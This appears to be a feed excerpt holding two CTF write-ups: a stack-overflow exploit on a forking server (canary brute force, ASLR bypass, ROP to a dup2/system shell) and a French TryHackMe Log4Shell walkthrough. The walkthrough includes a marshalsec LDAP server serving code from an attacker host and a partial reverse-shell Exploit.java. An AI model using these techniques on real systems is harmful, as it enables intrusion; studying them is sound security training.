&lt;p&gt;Each line is 8 bytes. The small addresses are at the top, the big addresses are at the bottom.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;name&lt;&#x2F;th&gt;&lt;th&gt;value&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;password buffer&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;canary&lt;&#x2F;td&gt;&lt;td&gt;random&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;socket file descriptor&lt;&#x2F;td&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;return address&lt;&#x2F;td&gt;&lt;td&gt;main+451 (main is at a random location because of ASLR)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;We can see that the compiler inlined the &lt;code&gt;authenticate&lt;&#x2F;code&gt; function inside the &lt;code&gt;welcome&lt;&#x2F;code&gt; function. This explains the fact that the return address goes back directly to &lt;code&gt;main&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Notice the &lt;code&gt;4&lt;&#x2F;code&gt; value stored in the stack between the canary and the return address. To be honest I don&#x27;t know exactly why it is there, but this is where the &lt;code&gt;main&lt;&#x2F;code&gt; function stores the file descriptor for the client socket. When we overflow, we will need to preserve this value because otherwise the &lt;code&gt;main&lt;&#x2F;code&gt; function will not correctly send the final &quot;still alive...&quot; message. We will see that this is important.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bypassing-the-canary&quot;&gt;Bypassing the canary&lt;&#x2F;h2&gt;
&lt;p&gt;The particular server design that I have described above allows us to attack the canary.&lt;&#x2F;p&gt;
&lt;p&gt;In classical pwn challenges, a new instance of the program is run for each TCP connection, with the &lt;code&gt;fork exec&lt;&#x2F;code&gt; system call. &lt;code&gt;exec&lt;&#x2F;code&gt; triggers the initialization of a new process and the choice of new random values for the canary and ASLR. Thus, each time a player connects to the challenge, the process to attack has different random canary and ASLR values.&lt;&#x2F;p&gt;
&lt;p&gt;In this challenge, a new process is &lt;code&gt;fork&lt;&#x2F;code&gt;ed for each TCP connection, but there is no &lt;code&gt;exec&lt;&#x2F;code&gt; as the server itself contains the code to serve clients. When a &lt;code&gt;fork&lt;&#x2F;code&gt; happens, the child process inherits the ASLR layout and the canary value from the parent process. This means that, each time we connect to the challenge, the canary value and ASLR layout will be the same ! (It will only change if the CTF admins restart the challenge).&lt;&#x2F;p&gt;
&lt;p&gt;Although the canary does not change from connection to connection, we still don&#x27;t know its value. A direct bruteforce is not feasible because the canary is a very large number. The solution ? Brute force byte by byte !&lt;&#x2F;p&gt;
&lt;p&gt;Let say that we want to know the first byte (the low byte) of the canary. We send an overflow that will fill the stack until right before the canary, then we send our guess for the first canary byte.&lt;&#x2F;p&gt;
&lt;p&gt;If our guess is wrong, the canary change will be noticed right before the &lt;code&gt;welcome&lt;&#x2F;code&gt; function returns, and the process will crash. (Notice that we are talking about the child process here, the parent process is not affected and will happily accept subsequent connections). In this case, we will not receive the final &quot;still alive...&quot; message, because it is sent from the &lt;code&gt;main&lt;&#x2F;code&gt; function, after the return of &lt;code&gt;welcome&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If our guess is correct, we will know it because the program will execute normally and we will receive the &quot;still alive...&quot; message.&lt;&#x2F;p&gt;
&lt;p&gt;After having discovered the first canary byte, when can continue with the second, the third, etc. until we know it entirely.&lt;&#x2F;p&gt;
&lt;p&gt;Note that if one of the canary byte happens to be &lt;code&gt;0x0a&lt;&#x2F;code&gt; (ASCII code for &quot;\n&quot;), then it is impossible to continue the overflow after this value. This is because the vulnerable loop that performs the overflow exits when it encounters a &lt;code&gt;\n&lt;&#x2F;code&gt;. This situation is however quite unlikely.&lt;&#x2F;p&gt;
&lt;p&gt;The canary is 8 bytes long but its low byte is always 0, so we actually have 7 bytes to guess. With an average 128 number of try per byte, this is 7 * 128 = 896 connections in average, which is feasible in less than two minutes (at least when I run the challenge on my computer).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;defeat-aslr-of-the-executable&quot;&gt;Defeat ASLR of the executable&lt;&#x2F;h2&gt;
&lt;p&gt;Now that we know the canary, we can use the same bruteforce technique to discover the return address value, byte by byte. If we overwrite the return address with an incorrect value, the program crashes when it returns from &lt;code&gt;welcome&lt;&#x2F;code&gt;. Otherwise, it continues correctly and we receive the final message.&lt;&#x2F;p&gt;
&lt;p&gt;For this, our payload will be &lt;code&gt;data to fill the password buffer&lt;&#x2F;code&gt; + &lt;code&gt;canary&lt;&#x2F;code&gt; + &lt;code&gt;data to reach the return address&lt;&#x2F;code&gt; + &lt;code&gt;data that partially overflows the return address&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Beware that, as explained above, we need to make sure that the data that fills the space between the canary and the return address has a &lt;code&gt;4&lt;&#x2F;code&gt; value at the right location, because otherwise we never receive the &quot;still alive...&quot; message from &lt;code&gt;main&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Another thing to take into account is that if we bruteforce the first byte (the low byte) of the return address, there are a lot of values that wont result in a crash but instead will make us jump in some random location into or near the &lt;code&gt;main&lt;&#x2F;code&gt; function. Because the low byte of the return address is not affected by ASLR (the random offset for the binary location in memory is a multiple of 0x1000), we can just check its value in GDB and use it directly.&lt;&#x2F;p&gt;
&lt;p&gt;So the return address is a pointer, thus 8 bytes long, but we already know the low byte. Also the 2 high bytes are always 0. So this is a 5 bytes bruteforce, 5 * 128 = 640 connections on average.&lt;&#x2F;p&gt;
&lt;p&gt;Now that we know the return address, we can compute the address of the &lt;code&gt;main&lt;&#x2F;code&gt; function, because we know from the stack layout above that the return address is main+451. Even though the position of the functions is randomized because of ASLR, the relative offsets between the functions of the program stay constant. Thus, now we know the address of every function of the executable.&lt;&#x2F;p&gt;
&lt;p&gt;With this knowledge, we can do ROP using gadgets found in the executable.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;defeat-aslr-of-libc&quot;&gt;Defeat ASLR of Libc&lt;&#x2F;h2&gt;
&lt;p&gt;As the program is very small, it does not provide a lot of interesting ROP gadgets. The next step for us is to find the address of the &lt;code&gt;libc&lt;&#x2F;code&gt; file in memory, which contains everything we need to get a shell.&lt;&#x2F;p&gt;
&lt;p&gt;The offset of libc and the offset of the program are two random values that are generated independently, so we can not compute the address of &lt;code&gt;libc&lt;&#x2F;code&gt; from the address of the program.&lt;&#x2F;p&gt;
&lt;p&gt;To get the address of &lt;code&gt;libc&lt;&#x2F;code&gt;, we will do ROP to call the &lt;code&gt;write&lt;&#x2F;code&gt; function in order to send us a libc pointer through the socket. The &lt;code&gt;write&lt;&#x2F;code&gt; function takes three arguments (as this is a 64 bits program, they are passed through registers) :&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The file descriptor were the data should be written, in &lt;code&gt;rdi&lt;&#x2F;code&gt;. We want so set it to the file descriptor for the client socket, which is 4.&lt;&#x2F;li&gt;
&lt;li&gt;A pointer to the first byte of the data that will be sent, in &lt;code&gt;rsi&lt;&#x2F;code&gt;. We want to set it to the address of a pointer that points to something in libc.&lt;&#x2F;li&gt;
&lt;li&gt;The number of bytes to send, in &lt;code&gt;rdx&lt;&#x2F;code&gt;. We want to set it to any value larger or equal to 8.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Luckily, when we reach the return of &lt;code&gt;welcome&lt;&#x2F;code&gt; and start the ROP execution, &lt;code&gt;rdi&lt;&#x2F;code&gt; already contains the value 4, and &lt;code&gt;rdx&lt;&#x2F;code&gt; contains a value higher than 8. This is due to the fact that the last function call before the return of &lt;code&gt;welcome&lt;&#x2F;code&gt; is the call to &lt;code&gt;write&lt;&#x2F;code&gt; for sending &quot;You are not authorized to access the cake :(\n&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;The executable contains a &lt;code&gt;pop rsi; ret&lt;&#x2F;code&gt; gadget that we can use to change the value of &lt;code&gt;rsi&lt;&#x2F;code&gt;. We will set it such that it points to some entry of the GOT (global offset table). The GOT is a data structure that is inside the memory region of the executable, so we know its address. It contains the addresses of the libc functions that the program uses. Let say we set &lt;code&gt;rsi&lt;&#x2F;code&gt; to the address of the GOT entry for the &lt;code&gt;puts&lt;&#x2F;code&gt; function.&lt;&#x2F;p&gt;
&lt;p&gt;We can now send our ROP chain that will call &lt;code&gt;write(4, &amp;lt;address of GOT entry for puts&amp;gt;, &amp;lt;some number higher than 8&amp;gt;)&lt;&#x2F;code&gt;. The first 8 bytes of what we get in return represent the address of the &lt;code&gt;puts&lt;&#x2F;code&gt; function in libc.&lt;&#x2F;p&gt;
&lt;p&gt;As we have access to the exact &lt;code&gt;libc&lt;&#x2F;code&gt; file used by the server (it is provided in the challenge files), we can now use the &lt;code&gt;puts&lt;&#x2F;code&gt; pointer to compute the base address of &lt;code&gt;libc&lt;&#x2F;code&gt; in memory, and thus we know the address in memory of everything that libc contains.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;get-a-shell&quot;&gt;Get a shell&lt;&#x2F;h2&gt;
&lt;p&gt;Now that we know the address of &lt;code&gt;libc&lt;&#x2F;code&gt;, we can call any of its functions in our ROP chains. As &lt;code&gt;libc&lt;&#x2F;code&gt; contains a lot of gadgets, we can also freely change the argument register values before calling a function.&lt;&#x2F;p&gt;
&lt;p&gt;There is one last obstacle in our way. If we directly open a shell (by executing &lt;code&gt;system(&quot;&#x2F;bin&#x2F;sh&quot;)&lt;&#x2F;code&gt;), the shell will expect data from stdin and print output to stdout. Stdin and stdout are connected to the terminal of the server, so this will open a shell in the terminal of the computer that runs the challenge, which would be useless for us. We need a way to make the input &#x2F; output of the shell go through the TCP socket to us.&lt;&#x2F;p&gt;
&lt;p&gt;The good news is that there exists a &lt;code&gt;libc&lt;&#x2F;code&gt; function that does exactly that : the function &lt;code&gt;dup2&lt;&#x2F;code&gt;. It takes two file descriptors as arguments, and makes the second file descriptor point to the file connected to the first file descriptor. Here the &quot;file&quot; is the TCP socket. The file descriptor for stdin is 0, the file descriptor for stdout is 1 and the file descriptor for the client socket is 4. So we want to call &lt;code&gt;dup2(4, 0)&lt;&#x2F;code&gt; and &lt;code&gt;dup2(4, 1)&lt;&#x2F;code&gt;, which will connect both stdin and stdout to the socket.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, for calling &lt;code&gt;system(&quot;&#x2F;bin&#x2F;sh&quot;)&lt;&#x2F;code&gt; we need a pointer to a &quot;&#x2F;bin&#x2F;sh&quot; string. Very conveniently, &lt;code&gt;libc&lt;&#x2F;code&gt; contains this string, and because we can compute the address of everything inside &lt;code&gt;libc&lt;&#x2F;code&gt;, we know its address.&lt;&#x2F;p&gt;
&lt;p&gt;To recapitulate, we build a ROP chain that :&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Sets &lt;code&gt;rdi&lt;&#x2F;code&gt; to 4&lt;&#x2F;li&gt;
&lt;li&gt;Sets &lt;code&gt;rsi&lt;&#x2F;code&gt; to 0&lt;&#x2F;li&gt;
&lt;li&gt;Calls &lt;code&gt;dup2&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Sets &lt;code&gt;rdi&lt;&#x2F;code&gt; to 4&lt;&#x2F;li&gt;
&lt;li&gt;Sets &lt;code&gt;rdi&lt;&#x2F;code&gt; to 1&lt;&#x2F;li&gt;
&lt;li&gt;Calls &lt;code&gt;dup2&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Sets &lt;code&gt;rdi&lt;&#x2F;code&gt; to the address of the &quot;&#x2F;bin&#x2F;sh&quot; string in libc&lt;&#x2F;li&gt;
&lt;li&gt;Calls &lt;code&gt;system&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;And now we have a shell, where we can type &lt;code&gt;cat flag.txt&lt;&#x2F;code&gt; and get the flag in return !&lt;&#x2F;p&gt;
&lt;h2 id=&quot;note-about-the-unlikely-situation-where-the-attack-is-infeasible&quot;&gt;Note about the unlikely situation where the attack is infeasible&lt;&#x2F;h2&gt;
&lt;p&gt;As explained in the part about the canary, if any byte of the canary is &lt;code&gt;0x0a&lt;&#x2F;code&gt;, the attack is infeasible. There is the same situation with the return address.&lt;&#x2F;p&gt;
&lt;p&gt;As the canary contains 7 random bytes and the random part of the return address is 5 bytes long, the probability for this to happen is 1  - (255&#x2F;256)^12, which is around 5%. This is why it is important to test that the attack works and restart the server if it doesn&#x27;t.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Solar</title>
        <published>2021-12-15T00:00:00+00:00</published>
        <updated>2021-12-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            david-pellissier
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/tryhackme/solar/"/>
        <id>https://yctf.ch/writeups/tryhackme/solar/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/tryhackme/solar/">&lt;h2 id=&quot;writeup-de-la-room-solar&quot;&gt;Writeup de la room &quot;Solar&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;Lien: https:&#x2F;&#x2F;tryhackme.com&#x2F;room&#x2F;solar&lt;&#x2F;p&gt;
&lt;p&gt;Docker: &lt;strong&gt;&lt;code&gt;sudo docker run -it --name &quot;Kali&quot; -p 1234:1234 -p 8000:8000 -p 1389:1389 kalilinux&#x2F;kali &#x2F;bin&#x2F;bash &lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Installer toutes les dépendances:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash z-code&quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-support z-function z-cd z-shell&quot;&gt;cd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; home&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;apt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; update&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;apt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; install&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;y&lt;&#x2F;span&gt; netcat-traditional python3 curl wget git maven nano vim&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;wget&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; https:&#x2F;&#x2F;github.com&#x2F;adoptium&#x2F;temurin8-binaries&#x2F;releases&#x2F;download&#x2F;jdk8u312-b07&#x2F;OpenJDK8U-jdk_x64_linux_hotspot_8u312b07.tar.gz&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;tar&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; xzf OpenJDK8U-jdk_x64_linux_hotspot_8u312b07.tar.gz &lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-support z-function z-echo z-shell&quot;&gt;echo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; &lt;span class=&quot;z-string z-quoted z-single z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;export PATH=$PWD&#x2F;jdk8u312-b07&#x2F;bin:$PATH&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-redirection z-shell&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt; .bashrc&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;git&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; clone https:&#x2F;&#x2F;github.com&#x2F;mbechler&#x2F;marshalsec&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-support z-function z-cd z-shell&quot;&gt;cd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; marshalsec&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;mvn&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; clean package&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;DskipTests&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Lancer le serveur LDAP&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash z-code&quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;java&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;cp&lt;&#x2F;span&gt; target&#x2F;marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;http:&#x2F;&#x2F;10.9.77.76:8000&#x2F;#Exploit	
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Créer le reverse shell&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash z-code&quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-support z-function z-cd z-shell&quot;&gt;cd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; &lt;span class=&quot;z-meta z-group z-expansion z-tilde&quot;&gt;&lt;span class=&quot;z-variable z-language z-tilde z-shell&quot;&gt;~&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;mkdir&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; exploit&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-support z-function z-cd z-shell&quot;&gt;cd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; exploit&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;nano&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; Exploit.java &lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; puis insérer le code ci-dessous&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;javac&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; Exploit.java&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre data-lang=&quot;java&quot; class=&quot;language-java z-code&quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span class=&quot;z-source z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-java&quot;&gt;&lt;span class=&quot;z-storage z-modifier z-java&quot;&gt;public&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-class z-identifier z-java&quot;&gt;&lt;span class=&quot;z-storage z-type z-java&quot;&gt;class&lt;&#x2F;span&gt; &lt;span class=&quot;z-entity z-name z-class z-java&quot;&gt;Exploit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-class z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-java&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;    &lt;span class=&quot;z-storage z-modifier z-java&quot;&gt;static&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-static z-body z-java&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-java&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;&lt;span class=&quot;z-meta z-static z-body z-java&quot;&gt;        &lt;span class=&quot;z-keyword z-control z-exception z-try z-java&quot;&gt;try&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-block z-java&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-java&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;&lt;span class=&quot;z-meta z-static z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;            &lt;span class=&quot;z-meta z-path z-java&quot;&gt;&lt;span class=&quot;z-support z-type z-package z-java&quot;&gt;java&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-java&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-package z-java&quot;&gt;lang&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-java&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-class z-java&quot;&gt;Runtime&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-java&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-java&quot;&gt;&lt;span class=&quot;z-variable z-function z-java&quot;&gt;getRuntime&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-begin z-java&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-end z-java&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-java&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-java&quot;&gt;&lt;span class=&quot;z-variable z-function 